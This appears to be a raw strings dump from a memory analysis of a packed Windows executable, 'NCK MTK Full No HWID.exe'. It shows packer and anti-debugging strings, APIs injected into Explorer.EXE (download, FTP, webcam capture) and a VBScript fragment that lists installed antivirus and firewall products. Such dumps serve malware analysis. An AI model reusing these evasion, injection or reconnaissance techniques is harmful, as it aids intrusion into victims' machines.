Windows 2008 Enterprise Server Core V

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE_V

Windows 2008 Enterprise Server IA64

WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_IA64

Windows 2008 Home Basic

WIN_VER_WINDOWS2008_HOME_BASIC

Windows 2008 Home Premium

WIN_VER_WINDOWS2008_HOME_PREMIUM

Windows 2008 Home Server

WIN_VER_WINDOWS2008_HOME_SERVER

Windows 2008 Server For Small Business

WIN_VER_WINDOWS2008_SERVER_FOR_SMALLBUSINESS

Windows 2008 Small Business Server

WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER

Windows 2008 Small Business Server Premium

WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER_PREMIUM

Windows 2008 Medium Business Server Management

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 2008 Medium Business Server Messaging

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 2008 Medium Business Server Security

WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_SECURITY

Windows 2008 Standard Server

WIN_VER_WINDOWS2008_STANDARD_SERVER

Windows 2008 Standard Server V

WIN_VER_WINDOWS2008_STANDARD_SERVER_V

Windows 2008 Standard Server Core

WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE

Windows 2008 Standard Server Core V

WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE_V

Windows 2008 Starter

WIN_VER_WINDOWS2008_STARTER

Windows 2008 Storage Enterprise Server

WIN_VER_WINDOWS2008_STORAGE_ENTERPRISE_SERVER

Windows 2008 Storage Express Server

WIN_VER_WINDOWS2008_STORAGE_EXPRESS_SERVER

Windows 2008 Storage Standard Server

WIN_VER_WINDOWS2008_STORAGE_STANDARD_SERVER

Windows 2008 Storage Workgroup Server

WIN_VER_WINDOWS2008_STORAGE_WORKGROUP_SERVER

Windows 2008 Undefined

WIN_VER_WINDOWS2008_UNDEFINED

Windows 2008 Ultimate

WIN_VER_WINDOWS2008_ULTIMATE

Windows 2008 Web Server

WIN_VER_WINDOWS2008_WEB_SERVER

Windows 2008 Web Server Core

WIN_VER_WINDOWS2008_WEB_SERVER_CORE

Windows 2008 Unlicensed

WIN_VER_WINDOWS2008_UNLICENSED

Windows 2008 R2

WIN_VER_WINDOWS2008R2

Windows 2008 R2 Business

WIN_VER_WINDOWS2008R2_BUSINESS

Windows 2008 R2 Cluster Server

WIN_VER_WINDOWS2008R2_CLUSTER_SERVER

Windows 2008 R2 Datacenter Server

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER

Windows 2008 R2 Datacenter Server Core

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE

Windows 2008 R2 Datacenter Server Core V

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE_V

Windows 2008 R2 Datacenter Server V

WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_V

Windows 2008 R2 Enterprise

WIN_VER_WINDOWS2008R2_ENTERPRICE

Windows 2008 R2 Enterprise Server

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER

Windows 2008 R2 Enterprise Server Core

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE

Windows 2008 R2 Enterprise Server V

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_V

Windows 2008 R2 Enterprise Server Core V

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE_V

Windows 2008 R2 Enterprise Server IA64

WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_IA64

Windows 2008 R2 Home Basic

WIN_VER_WINDOWS2008R2_HOME_BASIC

Windows 2008 R2 Home Premium

WIN_VER_WINDOWS2008R2_HOME_PREMIUM

Windows 2008 R2 Home Server

WIN_VER_WINDOWS2008R2_HOME_SERVER

Windows 2008 R2 Server For Small Business

WIN_VER_WINDOWS2008R2_SERVER_FOR_SMALLBUSINESS

Windows 2008 R2 Small Business Server

WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER

Windows 2008 R2 Small Business Server Premium

WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER_PREMIUM

Windows 2008 R2 Medium Business Server Management

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 2008 R2 Medium Business Server Messaging

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 2008 R2 Medium Business Server Security

WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_SECURITY

Windows 2008 R2 Standard Server

WIN_VER_WINDOWS2008R2_STANDARD_SERVER

Windows 2008 R2 Standard Server V

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_V

Windows 2008 R2 Standard Server Core

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE

Windows 2008 R2 Standard Server Core V

WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE_V

Windows 2008 R2 Starter

WIN_VER_WINDOWS2008R2_STARTER

Windows 2008 R2 Storage Enterprise Server

WIN_VER_WINDOWS2008R2_STORAGE_ENTERPRISE_SERVER

Windows 2008 R2 Storage Express Server

WIN_VER_WINDOWS2008R2_STORAGE_EXPRESS_SERVER

Windows 2008 R2 Storage Standard Server

WIN_VER_WINDOWS2008R2_STORAGE_STANDARD_SERVER

Windows 2008 R2 Storage Workgroup Server

WIN_VER_WINDOWS2008R2_STORAGE_WORKGROUP_SERVER

Windows 2008 R2 Undefined

WIN_VER_WINDOWS2008R2_UNDEFINED

Windows 2008 R2 Ultimate

WIN_VER_WINDOWS2008R2_ULTIMATE

Windows 2008 R2 Web Server

WIN_VER_WINDOWS2008R2_WEB_SERVER

Windows 2008 R2 Web Server Core

WIN_VER_WINDOWS2008R2_WEB_SERVER_CORE

Windows 2008 R2 Unlicensed

WIN_VER_WINDOWS2008R2_UNLICENSED

Windows 7

WIN_VER_WINDOWSSEVEN

Windows 7 Business

WIN_VER_WINDOWSSEVEN_BUSINESS

Windows 7 Cluster Server

WIN_VER_WINDOWSSEVEN_CLUSTER_SERVER

Windows 7 Datacenter Server

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER

Windows 7 Datacenter Server Core

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE

Windows 7 Datacenter Server Core V

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE_V

Windows 7 Datacenter Server V

WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_V

Windows 7 Enterprise

WIN_VER_WINDOWSSEVEN_ENTERPRICE

Windows 7 Enterprise Server

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER

Windows 7 Enterprise Server Core

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE

Windows 7 Enterprise Server V

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_V

Windows 7 Enterprise Server Core V

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE_V

Windows 7 Enterprise Server IA64

WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_IA64

Windows 7 Home Basic

WIN_VER_WINDOWSSEVEN_HOME_BASIC

Windows 7 Home Premium

WIN_VER_WINDOWSSEVEN_HOME_PREMIUM

Windows 7 Home Server

WIN_VER_WINDOWSSEVEN_HOME_SERVER

Windows 7 Server For Small Business

WIN_VER_WINDOWSSEVEN_SERVER_FOR_SMALLBUSINESS

Windows 7 Small Business Server

WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER

Windows 7 Small Business Server Premium

WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER_PREMIUM

Windows 7 Medium Business Server Management

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MANAGEMENT

Windows 7 Medium Business Server Messaging

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MESSAGING

Windows 7 Medium Business Server Security

WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_SECURITY

Windows 7 Standard Server

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER

Windows 7 Standard Server V

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_V

Windows 7 Standard Server Core

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE

Windows 7 Standard Server Core V

WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE_V

Windows 7 Starter

WIN_VER_WINDOWSSEVEN_STARTER

Windows 7 Storage Enterprise Server

WIN_VER_WINDOWSSEVEN_STORAGE_ENTERPRISE_SERVER

Windows 7 Storage Express Server

WIN_VER_WINDOWSSEVEN_STORAGE_EXPRESS_SERVER

Windows 7 Storage Standard Server

WIN_VER_WINDOWSSEVEN_STORAGE_STANDARD_SERVER

Windows 7 Storage Workgroup Server

WIN_VER_WINDOWSSEVEN_STORAGE_WORKGROUP_SERVER

Windows 7 Undefined

WIN_VER_WINDOWSSEVEN_UNDEFINED

Windows 7 Ultimate

WIN_VER_WINDOWSSEVEN_ULTIMATE

Windows 7 Web Server

WIN_VER_WINDOWSSEVEN_WEB_SERVER

Windows 7 Web Server Core

WIN_VER_WINDOWSSEVEN_WEB_SERVER_CORE

Windows 7 Unlicensed

WIN_VER_WINDOWSSEVEN_UNLICENSED

Portuguese (Brazil)

Portuguese (Portugal)

Enigma_Plugin_OnSaveKey

Enigma_Plugin_OnLoadKey

ntdll.dll

LS_Enigma_Plugin_OnDeleteKey

TExecutedProcess

ZwOpenKey

ZwEnumerateValueKey

ZwQueryKey

ZwQueryValueKey

ZwCreateKey

ZwEnumerateKey

ZwSetValueKey

ZwDeleteKey

ZwDeleteValueKey

ZwFlushKey

ZwLoadKey

ZwLoadKey2

ZwNotifyChangeKey

ZwQueryMultipleValueKey

ZwReplaceKey

ZwRestoreKey

ZwSaveKey

ZwSetInformationKey

ZwUnloadKey

ZwOpenKeyEx

TExported`

USER32.DLL

EInvalidGraphicOperation

Uh%cg

uxtheme.dll

Proportional

MAPI32.DLL

TComboBoxExEnumerator

ssHorizontal

OnKeyDown

OnKeyPress

OnKeyUp

Uh%ci

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

HelpKeyword

OnExecute

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowStateDmj

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

AutoHotkeys

AutoHotkeys`kj

TKeyEvent

TKeyPressEvent

crSQLWait

%s (%s)

imm32.dll

w:\3rdparty\TntUnicode\Source\TntActnList.pas

PasswordChar

w:\3rdparty\TntUnicode\Source\TntStdCtrls.pas

Uh.el

w:\3rdparty\TntUnicode\Source\TntForms.pas

w:\3rdparty\TntUnicode\Source\TntMenus.pas

Internal Error: SyncHotKeyPosition Failed ("%s" <> "%s").

w:\3rdparty\TntUnicode\Source\TntControls.pas

Internal Error: SubClassUnicodeControl.Control is not Unicode.

.UnicodeClass

TntUnicodeVcl.DestroyWindow

Internal Error: Control does not support ITntGlyphButton.

dtPostMsg

Software\Microsoft\Windows\CurrentVersion

ProductKey

Software\Microsoft\Windows NT\CurrentVersion

\\.\PhysicalDrive0

\\.\%s

\\.\Scsi0:

\\.\SMARTVSD

w:\3rdparty\TntUnicode\Source\TntRegistry.pas

#$%&'()* ,-./01234

PSAPI.dll

VBoxService.exe

ÞFAULT FOLDER%

%SYSTEM FOLDER%

%WINDOWS FOLDER%

Mutex object: Unique: %d-%d. Number: %d

X%xwb7lC

DLL_Loader_Import_Unit

TInitImport

DLL_Loader_Import_Unit<

Could not load library: %s

File not found: %s

Can't find DLL entry point %s in %s

"%s" %s

%s %s

mscorwks.dll

mscoreei.dll

clr.dll

%s\%.8x%.8x-%.8x%.8x

coRegistratioKey

ZwQuerySection, Unsupported class %d

KeySetValue unsupported value type

ZwQueryValueKey, unsupported class %d

ZwQueryKey, unsupported class %d

ZwQueryObject with unsupported class

ZwReadFileInformation with unsupported class

ZwSetInformationFile with unsupported class

.Yo[P

sxs.dll

THookWindowsAPI

\\.\NTICE

\\.\SICE

\\.\SIWDEBUG

)TEnigmaProtectorLoaderFormStartuppassword

DLL_Loader_RunPassword_Unit

d.lBl

decrypt_on_execute_begin

ECRONEXECB

decrypt_on_execute_end

ECRONEXECE

.section

@``@``@``@``@``@``@``@

@``@``@``@``@``

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

KWindows

_enigma_keygen_routines

TntWindows

UrlMon

virtualboximportunit

KeyRoutines

nJwaWindows

 DLL_Loader_Import_Unit

Uh.Ut

a.common

a.interp.memman

t_vm_executable_memory_manager(

a.interp.main

_SShH

{-q}V_

IQ.wM%

>I.pf

.Zh|S

Jr9L.qS"

#$%DqSN

%CS}S.n

U}S .kX?

-Rc}S

<=S.ySN

%C#]S

|SI.vi

yS.kh

<#%uS

!Z.yS

u.b.yS

|E.ob

ySI.zh

mS.Pp

%dnuS?

.tQrS

qS.nv

v.RS~S

O9%U~S2

xS.qD

F.Impe

7<|S2

xS.oR

%Sy|S

qS.qf

{I.Ke

i?.xT

85.qS

xS.PL

""%xS

\S.PX

uS.qe

.MS!?rEE

XpS.qw

-1E}tSS:m

%CYqS.

0-K}S

pS?.YH

-W4}p}S

E}S.ox

-MM}S

.JNyS

/-3}S

tS?.lF

A?.hA2

yS?.NE

qS.QA

]}S.oI

9].uS"

??.oX

-d9}S

S?n%F

kyS.oj

yS.QK

Q?.fO

D~S?.AW

rS.Nl

.UZrS

K.dkrSu1`

1-.vS

.rS3]

.cXrS

}S.Oe

.jtzS"

%4uvSN

(<DrS.pB

RvS.Pt

%xS?r{Y

xS?.cZ

8l{|S"Fj%s

?..Xz

R67CrtS

I-1}SK

.CYxS:

|S?.CI

"5.pS.PW

xS?.yU

u.ATlS

%sSxSN

I.Ire

SSSh,

-.our

vrh%c

)W.Mhwn

.UQhTV

f.mh 5

.AKs"

5.Dfx

vZ.pQ

-S3}}

CKv.AKv

user32.dll

advapi32.dll

version.dll

gdi32.dll

shell32.dll

SHFolder.dll

shlwapi.dll

GetWindowsDirectoryW

GetWindowsDirectoryA

GetCPInfo

GetKeyboardType

VkKeyScanW

UnhookWindowsHookEx

SetWindowsHookExW

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyW

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextW

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

RegOpenKeyExA

RegCloseKey

RegOpenKeyA

RegFlushKey

RegCreateKeyExA

SetViewportOrgEx

ShellExecuteW

ShellExecuteA

RtlFormatCurrentUserKeyPath

2 2$2(2,2024282<2\2|2

=(>,>0>4>8><>~>

>">&>*>.>2>

7 7$7(7,7074787\8

5-6n6}6

2!2&21282

8 8$8(8,8084888[8}8

:":9:\:?;

0 0$0(060>0

1 1$1(1,1014181<1@1

5h6X6

1#1'1 1/13171

0F1V1"2?2(484Y4q4]5a5

1&1>1\1|1

2!2%2)2-2125292=2

> >$>(>,>0>4>8><>

?#?=?_?|?

4 4$4(4,4044484<4

? ?$?(?,?0?4?8?<?

5!5,54595_5

E'..ze

Unspecified error (%d) from %s.

%Cookies FOLDER%

debug.log

enigma_ide.dll

%s - Entry Point Not Found

The procedure entry point %s could not be located in the dynamic link library %s.

ÚysToKeyExp%

%RegKey%

%KeyExpYear%

%KeyExpMonth%

%KeyExpDay%

%CU_EXTFILES%

%CU_EXECPR%

%CU_INSTSERV%

%CU_WINVER%

%CU_VIRTTOOLS%

%TrialExecsTotal%

%TrialExecsLeft%

%TrialExecMinsTotal%

%TrialExecMinsLeft%

hh.exe

write.exe

attrib.exe

chkdsk.exe

compact.exe

find.exe

help.exe

winver.exe

regsvr32.exe

replace.exe

dllhost.exe

ntvdm.exe

tcpsvcs.exe

Was not able to create virtual value at ImportCall_ZwSetValueKey

Was not able to create virtual key at ImportCall_ZwSetValueKey

ImportCall_ZwLoadKey

ImportCall_ZwLoadKey2

ImportCall_ZwNotifyChangeKey

ImportCall_ZwQueryMultipleValueKey

ImportCall_ZwReplaceKey

ImportCall_ZwRestoreKey

ImportCall_ZwSaveKey

ImportCall_ZwSetInformationKey

ImportCall_ZwUnloadKey

evb*.tmp

.manifest

Unsupported call of ZwSetVolumeInformationFile

Application requires password to start

Enter password

Change password

New password:

Confirm new password:

RichEdit line insertion error=This control requires version 4.70 or greater of COMCTL32.DLL

No help keyword specified.

No help found for %s#No context-sensitive help installed$No topic-based help system installed

Alt  Clipboard does not support Icons

Text exceeds memo capacity/Menu '%s' is already being used by another form

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Invalid Format Specifier: %s7CreateClone not implemented for class %s with source %s

Unsupported clipboard format

Cannot open file "%s". %s

'%s' is an invalid mask at (%d)$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to get data for '%s'

.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation

Invalid NULL variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

Explorer.EXE_244_rwx_01F00000_00001000:

KERNEL32.DLL

NCK MTK Full No HWID.exe_592_rwx_00C51000_001B2000:

BN

]%XY:U

.Jx-?

Yg4.YT

kern0l32.ud

:z.dk>d

t:\N424

SDhDw.rs

456789 /

Key^w

%s[fd]

YL%COH@

n"%F!

L;%C@t

w:\3rdpa

(%sp)

SSHy%l

|.VMe

8%S(U

nZ<%F

Z".HxdP5

Prkey

!.EFT

.DjC0Q&ZH

88E8F8A8U8L6T)

*.BT 

n<%Un}

KP>`%d

hrl%DI

.fHAC

8@ý

|.CN4

7VRn:.IY

.)%FX(

tm;%S

P.yZ4A

ýbH!

FK%2SR

t' %u

"hhW\sQlJ

.nrKu

%SA <<

\V%u@J

%SWv9Ia%

MAIN%C

U%C<_

keys

%C\}94f

%xiED!%m${

%s d(

uX%XN(

Q.KPe

-y.lO

w:\3rd:pa

;AKeyC

-%F W

("%s?

4,TK<y%c

.wnb'

$%&'()* 

X%xwb

-uEV},

=Q%uN|

.%u\C

.Wd#dD"

MSgfH

1.hEJ

.Yo[P

#!v%u

d{.xA

..WQ"

8$4,6-9'

>.fCiZ3

mRJtf.Mat

;X.VB

d{.xA&

SV.ZR

.eM69

.Pr@R

l`xN.IF

i?.xTg

t-K<%x

Q,N.jC@

Q?.fO

I%x8H

vt%dV

%sFV@

7/.yf

A%FSI/

ck.Mq.

R.inB

d-WD}L

^.PR1

<uDP%`

pH%UL

%s!_-@

.et?7

{ÔV

[>S'.DKK,

%U'Q$

_= Oc

}r@.TL

%XIA>.

$Q%BY%u

v;.np

\5.TV

\&%S`J[

#%U`Q

2@O%S

\=%uO

k,%X"5

6f.VP>

.wLE^

\I8%Fh

.qg='

csÓk

SX0%x

M8.VY

Qk^%Fj

]X3

`UdpJ@

6%3xy

<H %c

3B3nþ

&/V"%c^H

Tp%2u

d.DSV

%S_ @

%SI;,

y"%U 

%S}%P~D4

%CV\kb^[

P'Wh%D

J6!%U8

%xEDH#

R.cmb\

X.xy'

%2Sv>s

p:%co

.RT>P:4

I%-.ky1`

z%FY%e

!s6%u

%f_9i

e.IDf

|n2!

Rq,%U

)W.MhwY.

f.mh 

2!`.Eaa

.AKs"

u.kI]O

5.Gfx

^!tCp

##}\!2}_

l`-.Th

!4.ep

x:$%dvJ]

%cPxZ

]KJ%Sp

8!9=%:);-/1

Site : hXXp://VVV.enigmaprotector.com/

E-mail : support@enigmaprotector.com

Lisence holder: %s

NCK MTK Full No HWID.exe_592_rwx_01BF0000_00100000:

Invalid NULL variant operation

Invalid variant operation

Variant method calls not supported

Access violation at address %p. %s of address %p

Invalid pointer operation

Invalid floating point operation

I/O error %d

'%s' is not a valid integer value

IQ.wM%

>I.pf

.Zh|S

Jr9L.qS"

#$%DqSN

%CS}S.n

U}S .kX?

-Rc}S

<=S.ySN

%C#]S

|SI.vi

yS.kh

<#%uS

!Z.yS

u.b.yS

|E.ob

ySI.zh

mS.Pp

%dnuS?

.tQrS

qS.nv

v.RS~S

O9%U~S2

xS.qD

F.Impe

7<|S2

xS.oR

%Sy|S

qS.qf

{I.Ke

i?.xT

85.qS

%xS?r{Y

xS?.cZ

8l{|S"Fj%s

?..Xz

R67CrtS

xS.PL

""%xS

\S.PX

uS.qe

.MS!?rEE

XpS.qw

-1E}tSS:m

%CYqS.

0-K}S

pS?.YH

-W4}p}S

E}S.ox

-MM}S

.JNyS

/-3}S

tS?.lF

A?.hA2

yS?.NE

qS.QA

]}S.oI

9].uS"

??.oX

-d9}S

S?n%F

kyS.oj

yS.QK

Q?.fO

D~S?.AW

rS.Nl

.UZrS

K.dkrSu1`

1-.vS

.rS3]

.cXrS

}S.Oe

.jtzS"

%4uvSN

(<DrS.pB

RvS.Pt

I-1}SK

.CYxS:

|S?.CI

"5.pS.PW

xS?.yU

u.ATlS

%sSxSN

I.Ire

SSSh,

_SShH

{-q}V_

-.our

NCK MTK Full No HWID.exe_592_rwx_01ED0000_00034000:

External exception %x

Operation not supported

Variant method calls not supported

Could not convert variant of type (%s) into type (%s)

No argument for format '%s'

Exception %s in module %s at %p.

Invalid pointer operation

Access violation at address %p. %s of address %p

I/O error %d

'%s' is not a valid time

Invalid floating point operation

Clipboard does not support Icons

/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */

Menu '%s' is already being used by another form

Method '%s' not supported by automation object

No help keyword specified.

"C:\Users\"%CurrentUserName%"\AppData\Local\Temp\NCK MTK Full No HWID.exe"

<.wX[

license.dat

application.exe

NCK MTK Full No HWID.exe_592_rwx_01F10000_00004000:

00000000

<.wX[

NCK MTK Full No HWID.exe_592_rwx_01F20000_00004000:

wntdll.dll

ll No HWID.exe

vkernel32.dll

No HWID.exe

3ukernelbase.dll

HWID.exe

vuser32.dll

vgdi32.dll

`ulpk.dll

vusp10.dll

vmsvcrt.dll

Jvadvapi32.dll

vsechost.dll

vrpcrt4.dll

voleaut32.dll

vole32.dll

ushell32.dll

vshlwapi.dll

{tversion.dll

rcomctl32.dll

vimm32.dll

(wmsctf.dll

Csshfolder.dll

 uprofapi.dll

usspicli.dll

NCK MTK Full No HWID.exe_592_rwx_01F30000_00024000:

dwmapi.dll

{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000005.db

user32.dll

advapi32.dll

kernel32.dll

ntdll.dll

oleaut32.dll

kernel32.dll8

comctl32.dll

9"9-939;9@9

;";&;*;.;2;?;~;

5 5$5(5,505

4 5C5P5^5!646i6|6%7S7n7

1-151M1U1q1y1}1

4#4'4:4[4

7!7v7>7

= =$=2=:=

5'6 63686

45595@5{5

6m6}6

9%9u9

1"1*121^1

>">&>*>.>2>6>:>

0-0?0^0-6

4 4$4(4,4

?'?,?1?<?

;";&;*;.;2;

8Œ8

1!2C2R2g2~2

> >$>(>,>0>4>8><>

01a1

"0'0,010]0

8 8$8(8,8084888<8

NCK MTK Full No HWID.exe

Explorer.EXE_244_rwx_02C90000_00001000:

KERNEL32.DLL

Explorer.EXE_244_rwx_035A0000_00001000:

KERNEL32.DLL

Explorer.EXE_244_rwx_039B0000_00001000:

KERNEL32.DLL

Explorer.EXE_244_rwx_03B90000_00001000:

KERNEL32.DLL

Explorer.EXE_244_rwx_03D20000_00001000:

KERNEL32.DLL

Explorer.EXE_244_rwx_03D90000_00001000:

advapi32.dll

Explorer.EXE_244_rwx_03E00000_00001000:

RegOpenKeyA

Explorer.EXE_244_rwx_03E10000_00001000:

advapi32.dll

Explorer.EXE_244_rwx_03EB0000_00001000:

AVICAP32.DLL

Explorer.EXE_244_rwx_03F70000_00001000:

AVICAP32.DLL

Explorer.EXE_244_rwx_040D0000_00001000:

gdi32.dll

Explorer.EXE_244_rwx_04550000_00001000:

gdi32.dll

Explorer.EXE_244_rwx_045C0000_00001000:

gdiplus.dll

Explorer.EXE_244_rwx_046C0000_00001000:

gdiplus.dll

Explorer.EXE_244_rwx_04740000_00001000:

mpr.dll

Explorer.EXE_244_rwx_047D0000_00001000:

mpr.dll

Explorer.EXE_244_rwx_04800000_00001000:

msacm32.dll

Explorer.EXE_244_rwx_04840000_00001000:

msacm32.dll

Explorer.EXE_244_rwx_04930000_00001000:

ntdll.dll

Explorer.EXE_244_rwx_04970000_00001000:

ntdll.dll

Explorer.EXE_244_rwx_049E0000_00001000:

ole32.dll

Explorer.EXE_244_rwx_06680000_00001000:

ole32.dll

Explorer.EXE_244_rwx_066B0000_00001000:

oleaut32.dll

Explorer.EXE_244_rwx_066F0000_00001000:

oleaut32.dll

Explorer.EXE_244_rwx_06760000_00001000:

powrprof.dll

Explorer.EXE_244_rwx_067A0000_00001000:

powrprof.dll

Explorer.EXE_244_rwx_06850000_00001000:

shell32.dll

Explorer.EXE_244_rwx_06880000_00001000:

ShellExecuteA

Explorer.EXE_244_rwx_06890000_00001000:

shell32.dll

Explorer.EXE_244_rwx_06AC0000_00001000:

user32.dll

Explorer.EXE_244_rwx_06B40000_00001000:

user32.dll

Explorer.EXE_244_rwx_06B70000_00001000:

wininet.dll

Explorer.EXE_244_rwx_06BE0000_00001000:

FtpOpenFileA

Explorer.EXE_244_rwx_06C30000_00001000:

wininet.dll

Explorer.EXE_244_rwx_06DA0000_00001000:

winmm.dll

Explorer.EXE_244_rwx_06E20000_00001000:

winmm.dll

Explorer.EXE_244_rwx_06ED0000_00001000:

wsock32.dll

Explorer.EXE_244_rwx_06F10000_00001000:

wsock32.dll

Explorer.EXE_244_rwx_10410000_00065000:

`.rsrc

kernel32.dll

Portions Copyright (c) 1999,2003 Avenger by NhT

SHFileOperationA

shell32.dll

URLDownloadToFileA

urlmon.dll

ShellExecuteA

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

GetWindowsDirectoryA

SOFTWARE\Microsoft\Windows\CurrentVersion

http\shell\open\command

\Internet Explorer\iexplore.exe

####@####

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

Portugal

Turkey

Windows 3.1

Windows 95 (Release 2)

Windows 95

Windows 98 SE

Windows 98

Windows ME

Windows 7

Windows Vista

%s %s

Windows XP Professional x64

Windows XP Home

Windows XP Professional

Windows 2000 Professional

Windows NT %d.%d

Windows 2008

%s %s Server

Windows 2003 Server Datacenter

Windows 2003 Server Enterprise

Windows 2003 Server Web Edition

Windows 2003 Server

Windows Home Server

Windows 2003 Server (Release 2)

Windows 2000 Server Datacenter

Windows 2000 Server Enterprise

Windows 2000 Server Web Edition

Windows 2000 Server

Windows NT 4.0 Server Datacenter

Windows NT 4.0 Server Enterprise

Windows NT 4.0 Server Web Edition

Windows NT 4.0 Server

Unknown Platform ID (%d)

%d.%d

%s (Build: %d

- Service Pack: %s

KERNEL32.DLL

teste.vbs

teste.txt

Set objSecurityCenter = GetObject("winmgmts:\\.\root\SecurityCenter")

Set colFirewall = objSecurityCenter.ExecQuery("Select * From FirewallProduct",,48)

Set colAntiVirus = objSecurityCenter.ExecQuery("Select * From AntiVirusProduct",,48)

Set objFileSystem = CreateObject("Scripting.fileSystemObject")

Set objFile = objFileSystem.CreateTextFile("

Info = Info & "F" & CountFw & ") " & objFirewall.displayName & " v" & objFirewall.versionNumber & Enter

Info = Info & "A" & CountAV & ") " & objAntiVirus.displayName & " v" & objAntiVirus.versionNumber & Enter

objFile.WriteLine(Info)

objFile.Close

cscript.exe

AVICAP32.dll

tFtpAccess

v1.07.5

BuildImportTable: can't load library:

BuildImportTable: ReallocMemory failed

BuildImportTable: GetProcAddress failed

BTMemoryLoadLibary: BuildImportTable failed

BTMemoryGetProcAddress: no export table found

BTMemoryGetProcAddress: DLL doesn't export anything

BTMemoryGetProcAddress: exported symbol not found

SetupApi.dll

SetupDiOpenClassRegKey

SetupDiOpenClassRegKeyExA

SetupDiOpenClassRegKeyExW

SetupDiCreateDeviceInterfaceRegKeyA

SetupDiCreateDeviceInterfaceRegKeyW

SetupDiOpenDeviceInterfaceRegKey

SetupDiDeleteDeviceInterfaceRegKey

SetupDiCreateDevRegKeyA

SetupDiCreateDevRegKeyW

SetupDiOpenDevRegKey

SetupDiDeleteDevRegKey

CM_DEVCAP_LOCKSUPPORTED

CM_DEVCAP_EJECTSUPPORTED

PDCAP_D0_SUPPORTED

PDCAP_D1_SUPPORTED

PDCAP_D2_SUPPORTED

PDCAP_D3_SUPPORTED

PDCAP_WAKE_FROM_D0_SUPPORTED

